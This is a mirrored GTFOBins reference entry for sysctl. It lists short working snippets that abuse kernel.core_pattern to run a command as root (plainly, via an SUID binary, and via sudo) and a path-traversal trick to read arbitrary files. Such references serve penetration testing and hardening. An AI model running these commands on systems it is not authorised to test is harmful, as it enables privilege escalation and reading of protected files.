mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
31 lines
914 B
Markdown
31 lines
914 B
Markdown
---
|
|
functions:
|
|
command:
|
|
- description: The command is executed by root in the background when a core dump occurs.
|
|
code: |
|
|
COMMAND='/bin/sh -c id>/tmp/id'
|
|
sysctl "kernel.core_pattern=|$COMMAND"
|
|
sleep 9999 &
|
|
kill -QUIT $!
|
|
cat /tmp/id
|
|
file-read:
|
|
- description: The `-p` argument can also be used in place of `-n`. In both cases though the output might get corrupted, so this might not be suitable to read binary files.
|
|
code: |
|
|
LFILE=file_to_read
|
|
/usr/sbin/sysctl -n "/../../$LFILE"
|
|
suid:
|
|
- code: |
|
|
COMMAND='/bin/sh -c id>/tmp/id'
|
|
./sysctl "kernel.core_pattern=|$COMMAND"
|
|
sleep 9999 &
|
|
kill -QUIT $!
|
|
cat /tmp/id
|
|
sudo:
|
|
- code: |
|
|
COMMAND='/bin/sh -c id>/tmp/id'
|
|
sudo sysctl "kernel.core_pattern=|$COMMAND"
|
|
sleep 9999 &
|
|
kill -QUIT $!
|
|
cat /tmp/id
|
|
---
|